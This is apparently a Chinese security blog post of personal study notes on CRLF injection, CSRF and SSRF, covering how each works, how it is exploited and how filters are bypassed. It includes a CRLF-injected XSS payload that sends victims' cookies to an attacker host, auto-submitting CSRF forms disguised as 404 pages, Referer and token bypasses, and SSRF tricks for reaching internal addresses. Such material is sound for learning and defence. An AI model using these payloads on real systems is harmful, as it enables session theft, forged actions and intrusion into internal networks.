写点什么

CRLF、CSRF、SSRF 攻击与利用

发布于: 3 小时前

前言

本文叙述了 crlf、csrf 和 ssrf 的原理、攻击利用和一些绕过方法,作为个人笔记,内容可能不全面,日后有接触新的方法会更新。

CRLF

原理

这个漏洞名词来源于打印机,在计算机中表示一行的结束:


回车=CR=\r=%0d=Ascii(13)=Ascii_16(0D)换行=LF=\n=%0aAscii(10)=Ascii_16(0A)


在不同操作系统中表示行结束的方法也不相同:


Windows:CRLFLinux/Unix:LFMac:老版本用 CR,新版用 LF


在 http 头的规范中是以 CRLF 表示一行的结束,因此无论是请求头还是响应头,每行的末尾都有一个\r\n


GET http://example.com/skipto?u=http://other.com HTTP/1.1\r\nHost:example.com\r\nUser-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Encoding:gzip, deflate, br\r\nAccept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nConnection:keep-alive\r\n
复制代码


上面代码是一个普通的页面跳转请求头,我们很容易发现u的值是用户可控的,正常运行的话返回的会是第 2 页的内容,那么现在重新发送请求,将请求截下来,把u=http://other.com改成u=http://other.com\r\nSetCookie:crlf再提交,假如服务器没有对u参数进行检查并过滤,在响应头中直接将用户输入拼接到 Location 的值里面,响应头就会变成像下面那样的代码:


HTTP/1.1 302 Found\r\nDate: Sun, 08 Aug 2021 07:01:25 GMT\r\nLocation:http://other.com\r\nSetCookie:crlf\r\nContent-Length:0\r\nContent-Type: text/html; charset=utf-8\r\nConnection: keep-alive\r\n
复制代码


在拼接 http 响应头的过程中,服务器检测到\r\n的时候会按照 http 规范认为已经到达一行的末尾,后面的数据输出到下一行。在对文件进行 io 读写的时候也经常会以\r\n或者\n作为判断行末尾的依据,后面的数据换行后再输出,这两个的原理是一样的。CRLF 这种攻击本质和 sql 注入、xss 一样,都是由于没有对用户输入进行完全检查与过滤导致的漏洞,区别在于 sql 注入作用在数据库,xss 的效果体现在网页主体,clrf 则会将恶意代码输出在响应头中。

攻击 &利用

这种漏洞属于客户端漏洞,经常会出现在有重定向或者页面跳转的地方。攻击的方法很简单,观察输入是否在响应头中,然后提交\r\n,记得编码,查看服务器是否响应,最后一步根据需要将漏洞转换成会话固定、xss 等。至于利用的方式,大致有以下几种:会话固定上面的例子就是一个典型的会话固定,通过插入请求头的方式实现给访问者设置一个 session,当然除了 cookie 也能插入其他请求头。


#部分请求头:GET http://example.com/skipto?u=http://other.com\r\nSet-Cookie:mycookie HTTP/1.1\r\n...
#对应的响应头:HTTP/1.1 302 Found\r\nLocation:http://other.com\r\nSetCookie:mycookie\r\n...
复制代码


xss 在 http 规范中,响应头和正文之间是用两个 CRLF 进行区分的,也就是\r\n\r\n,我们可以利用这个特性往正文里写入 xss:


#部分请求头GET http://example.com/skipto?u=\r\n<img src=x onerror="http://myc2.com/getcookie?c="+encodeURI(document.cookie);> HTTP/1.1\r\n...
#对应的响应头,利用xss直接将cookie发送到攻击者的服务器HTTP/1.1 302 Found\r\nLocation:\r\n
<img src=x onerror="http://myc2.com/getcookie?c="+encodeURI(document.cookie);>
复制代码


缓存中毒这种攻击方式需要服务端有 CDN、负载均衡或者反向代理等缓存设备。利用方式如下:


#直接在请求头中插入X-Forwarded-Host,观察响应包中是否有回显GET http://example.com/skipto?u=\r\nX-Forwarded-Host:http://fishing.com HTTP/1.1\r\n...
复制代码


另一个名字相近但完全不同的攻击方式叫缓存欺骗,利用前要满足下列条件:


Web 缓存功能设置为通过 URL 的扩展名来判断是否进行缓存文件,且忽略任何缓存头;


当访问一个不存在资源时返回一个页面而不是显示页面不存在;


诱使访问 URL 时,受害者必须已经通过身份验证;


其攻击的过程如下:


通过钓鱼/xss 等方法诱使已经登录的用户访问攻击者服务器上的一个资源(http://hack.com/attack/1.png);请求到达代理/CDN,代理不熟悉这个文件,于是向 web 服务器发起请求;web 服务器返回受害者的用户页面内容和 200 状态码,这里对应了上面第二点和第三点条件,没有返回页面不存在并且是用户已登录状态;缓存机制收到响应同时发现 url 以资源文件扩展名(.png)结尾,并且由于缓存机制忽略响应头,这个资源会被保存在新建的 attack 目录下,被缓存的文件名为 1.png,这里对应了第一个条件;然后受害者接收到他的账户页面;攻击者访问 http://hack.com/attack/1.png,请求到达代理服务器,代理直接将受害的缓存账户页面返回给攻击者。

绕过

对于 CRLF 来讲核心就是\r\n,服务器防止 CRLF 大部分也是通过过滤器限制这两个字符,绕过的方法大致有以下几种:


url 单/双层编码;更改 http 版本到 1.0,不发送 Host 头,并将请求分片构建特殊请求;将\r\n 转换成 ascii 码;


另外在发送给客户端 xss 语句的时候可能会被浏览器过滤掉,这个时候只需要在前面再插入一个请求头X-XSS-Protection:0即可绕过。

CSRF

原理

CSRF 的中文翻译叫跨站请求伪造,和 XSS 利用方式有点像,但是 XSS 利用的是站点内信任的用户,而 CSRF 是通过伪装成被信任的用户请求受信任网站。攻击原理如图:



由此可以看出来,要利用这个漏洞必须满足下面两个条件:


登录存在漏洞的网站,并在本地生成 cookie;


在不登出的情况下访问攻击者的服务器;

攻击 &利用

这种漏洞会出现在用户操作中的增、删、改功能的位置,比如用户修改密码的地方,如果网站在上述三种功能中没有用到 Referer/Token 技术,那么肯定存在 csrf,如果存在,可以绕过,那也一样有漏洞。类型分为 GET、POST 两种,他们攻击方式的区别就是 GET 型只需要构造 url,然后诱导受害者访问即可,POST 型则要构造自动提交的表单,再诱导受害者访问。整个攻击流程如下:


制作伪装页面->诱导用户访问->触发非法操作


不管是哪种类型,漏洞利用的核心就是根据需要构造页面,然后诱导受害者点击,可以通过钓鱼,也可以利用 xss 等。GET


<html><head>    <title>404 not found</title></head><body onload="构造csrf请求">    404 not found</body></html>
复制代码


POSTpost 模式通常是构造一个自动提交的隐藏表单:


<html><head>    <title>404 not found</title></head><body>    404 not found    <form action="" method=POST>        <input type="hidden" name="a" value="参数1">        <input type="hidden" name="b" value="参数2">    </form></body><script>    document.forms[0].submit();</script></html>
复制代码

绕过

对于 CSRF 的保护通常是使用 Referer 和 Token,因此为了达到攻击的目的,这两种防护措施就是需要绕过的对象。Referer1.利用伪协议:http://、https://、ftp://、file://、data:、javascript:,这时候 referer 置空就能绕过了。


<iframe src="data:text/html;...">
复制代码


2.在 html 页面中通过 meta 将 Referer 置空:


<meta name="referer" content="never">
复制代码


3.观察 Referer 验证的是哪个域名,是否存在指定的域名关键词,验证方式是不是只验证开头,绕过方式分别如下:


验证格式为*.xxx.com:在域名前面增加子域名绕过;验证包含关键词为 xxx.com:新建网站目录名字为 xxx.com,作为 csrf 文件的存放目录;验证开头格式 xxx.com:新建域名为 xxx.com.hack.com 的 web 服务器作为 csrf 载体;


Token1.完全删除 token,适用于账户删除功能,因为很多删除用户的功能中几乎不认证 token;2.token 解码,通过识别算法破解,然后按规律改变值再进行加密编码,这种适用于算法简单的 token;3.一般 token 由静态、动态两部分组成,有时候只用静态部分就可以通过检测。

SSRF

原理

SSRF 的意思是服务端请求伪造,如字面意思,就是攻击者构造的由服务器发起请求的一种漏洞。而服务端能够访问外界访问不到的内网,因此可以利用这个特性来攻击部署在内网的脆弱中间件以及其他服务。其原理如下图:


攻击 &利用

可能会出现 SSRF 的地方有:


分享功能收藏功能网站采集功能其他一些要调用 url 的功能页面优化转码在线翻译图片加载/下载云服务厂商内置数据库(redis、mongodb)邮件系统对数据进行在线处理的地方从远程服务器获取资源未公开的 API


可以通过下列 url 关键字查找:


sharewapurllinksrcsourcetargetudisplaysourceurlimageurldomain


漏洞挖掘的时候通过排除法判断,一种情况是直接回显,另一种情况则是跟其他地方相比发生变化(类似 sql 布尔盲注):


http://example.com/service?image=http://www.baidu.com/img/bd_logo.png#像这种的新窗口打开链接,如果地址栏显示http://www.baidu.com/img/bd_logo.png,则不存在漏洞;
或者抓包分析请求是否由服务器发起,ssrf是服务器发起的请求,在测试接口的时候本地浏览器不应该发起请求,这一点通过抓包可以体现出来。
复制代码


在漏洞利用方面,对外可以通过 SSRF 访问其他网址,对内可以扫描内网做信息收集,用其他协议请求敏感文件,能够通过请求攻击内网应用,也可以进行 DOS 攻击,具体做法是请求大文件,并始终 keep-alive。

绕过

一般在服务端会对请求地址做限制,过滤 ip 的流程可能如下图:



因此就有了下面几种绕过方法:


攻击本地:http://127.0.0.1:80http://localhost:80http://0.0.0.0:80http://[::]:80
利用@:http://example.coom@127.0.0.1
使用短网址:https://dwz.cn/
利用DNS解析服务:http://127.0.0.1.xip.io#会重定向到127.0.0.1
利用DNS重绑攻击:前置条件:需要一个域名,并且将其解析指定到攻击者搭建的dns,设置TTL=0。攻击过程:1.服务端获取到url,进行第一次解析,获取一个外网ip;2.对这个ip进行判断,通过验证;3.服务端再次访问这个url,由于TTL=0,需要再次进行dns解析,这次解析返回内网地址;4.验证已经绕过,服务端发送请求,返回的是内网资源。
文件上传处:type=file -> type=url比如在上传图片的地方,将图片换成url,就可能触发漏洞。
特殊标识符(Enclosed alphanumerics):http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜList:① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
句号替换点号:http://127.0.0.1 -> http://127。0。0。1
进制转换(十六、十、八、二):http://127.0.0.1 -> http://2130706433/
利用特殊地址:http://0/
更换协议:dict://127.0.0.1:22sftp://example.com:21111tftp://example.com:21111ladp://0.0.0.0:11211/%0astats%0aquitgopher://...file://...
复制代码


用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
CRLF、CSRF、SSRF攻击与利用